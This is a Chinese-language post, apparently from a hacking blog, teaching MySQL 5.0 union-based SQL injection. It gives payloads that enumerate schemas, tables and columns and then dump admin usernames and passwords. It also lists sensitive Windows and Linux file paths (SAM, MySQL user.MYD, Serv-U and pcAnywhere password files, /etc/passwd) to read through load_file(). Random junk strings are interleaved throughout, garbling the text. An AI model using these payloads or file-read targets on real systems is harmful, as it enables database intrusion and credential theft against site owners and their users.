mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

0 R, f3 C9 L* F) H9 k0 o

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
! @! q2 K1 ~) K0 u& d1 s; X1.得到所有数据库名：
3 B* a/ ~3 D. N6 K4 X|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
$ @' r$ i: v3 O  g|—字段：TABLE_NAME ->存储表的表名
; u) T/ d' m8 n* `! t
3 W3 g- \8 @3 S4 V|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
: I) i& g6 u# C0 g|—字段：TABLE_NAME ->存储所属表的名称

& ~( r0 M3 }- S& b' a|—字段：COLUMN_NAME ->该字段的名称
' p; v* i4 }8 s; V4 O
#########################################################################
& b, `6 L6 c; t##

0×001 获取系统信息:
0 L$ G' r6 a. r0 U
/ N$ m# E! d4 \& t8 g/ Sunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
( V3 |0 }: P. j4 j& B( V: {3 ?
/*

@@global.version_compile_os 获取系统版本
' e) \9 Y0 O2 z* p* ]7 L
; Q" f5 X. J3 ?- j7 O@@datadir 数据库路径
9 Y' Q! T& J' T( h: g4 K" Sdatabase() 当前数据库名称
( e6 M8 \7 }/ U4 g7 L0x3c62723e 换行HEX值

*/
3 @) w) ]( D. }, p) m: z
######################################################################
/ w8 ^8 J- Q. v3 z" C$ C
0×002 获取表名

* h9 |% ~5 \1 `2 [$ I1 ~% @* gunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
7 s. B" i& Q  y5 M9 e+ R6 k
/*

" V8 n+ k. H' u0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
1 H. A1 S& T; M/ o
5 ^; d  K3 k9 ^- h% v*/
3 v# v6 D! I4 A. g+ s( D* ~
######################################################################
$ ~# M9 m: V4 f
) v8 T6 d* E% I. A0×003 获取字段
& ]# G& X) Y! d) G# j* Z! u. |
8 y* H7 g, P9 U, `union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
$ t0 U. e( b8 K/ e$ ~! [+ ^information_schema.columns where table_name=0x61646d696e and


table_schema=0x67617264656e limit 1 /*

$ \' u& Q# n, T" m( t/ o% f7 I/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

0x67617264656e ->数据库名

, A' p2 q& W0 d8 z% o3 U% l*/

#####################################################################
* c/ k9 _3 H( b5 y, ^) {3 z
0 {0 C: c: r8 p6 K0×004 获取数据
6 o+ L0 Z2 T: l7 G1 l
2 S* d( J; G* A: u& h( ?union select 1,2,3
: C0 m& A! q1 N* b4 n/ o" X,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

5 ?5 J0 z8 o+ A) uunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
" ?% w9 A4 v2 c) Y( M/ h
/*

" Y7 y) Q0 w/ M$ s1 }' M4 r0x3c62723e 换行符号HEX编码
; L2 a) K; B+ l8 A. B! h- N  G
group_concat 同时获得该字段所有数据

! `1 J4 {3 m6 f' H# j0 O*/
6 x- k) H) }& S/ I
2 c/ A7 G& l% k% O  o6 ^9 ~
+ E) h5 p' i! {' X" W

$ J# Q5 P4 W, @3 u1 x6 W- @
; h( U$ P. b. i3 r" C' I顺便添加一些mysql注入时非常有用的一些东西

6 ?* T3 X' Z& V# |6 X: w- g2 |/ O简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

* N7 Z# b2 j! I2 ]5 b1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
. a; Z: I6 m4 ]9 U# x4 e; k6 q  O5:database()    数据库名
! u) l0 \1 H2 ]3 U. O6:version()     MYSQL数据库版本
& Z" i) @1 d0 F' @9 \7:load_file()   MYSQL读取本地文件的函数
7 P( a9 G# L7 y# V3 ]2 [8@datadir     读取数据库路径
/ p! E: M0 H/ g9@basedir    MYSQL 安装路径
/ y4 x* N4 n# e/ ~/ N8 o10@version_compile_os   操作系统  Windows Server 2003,
3 I2 k' F% X  |( c. ?收集的一些路径：
WINDOWS下:
+ [0 w% K4 ?) O6 |' dc:/boot.ini          //查看系统版本
" {  d1 r1 H1 o! |! N  |5 @c:/windows/php.ini   //php配置信息
/ {# Q2 _7 V1 k* c6 y" ~c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
0 P2 Q- P% ]; G. z: vc:\Program Files\Serv-U\ServUDaemon.ini
: @4 I' _4 i/ h8 L( c# o3 _c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
- A# z) F7 l8 j2 I% w* @c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
6 C) a! ], }% W, V# e* {: ]2 M* I- rC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
8 T# W+ l* f% {2 g$ O1 t//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
# i' I& a4 G0 x8 ec:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
2 M: g) T, \# I  i& q

9 D1 a( `4 s: a. j  t5 q3 Dc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
! k& R- W# ?, U" P  Q  JC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
! ]% p6 {5 H, C" Z1 c# Q% K4 I! l
3 Z( D$ Z( A# XLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
0 t3 [! G0 y' F3 {3 B/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
0 m( C$ |( O8 w( _3 t" n& f5 |/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
7 P% C3 C' E% w+ m/etc/my.cnf //mysql的配置文件
6 y' y! _* a+ [* H/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
% m  E; H8 Y: |' y/usr/local/app/php5/lib/php.ini //PHP相关设置
8 F% e# u  k! A* Y# Y* I1 S/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
- |8 _* ^9 k& G" r2 `% {& ?/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
) |! X" V; ~8 ~8 f/ h+ R  f/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
$ M$ I9 Y3 n3 `/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
* d' z$ M1 F* Q" [3 y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
: I2 e/ {$ J4 A/ L2 C) p/etc/sysconfig/iptables 查看防火墙策略
% b) Y, `# i: Q0 k2 I- Jload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
' z2 E5 n0 R% G4 |& `& ireplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
- _8 ~+ f: ?- D, R. O. {* z6 e- O
, \4 [- b/ Z, W& Y/ e; ^+ n& f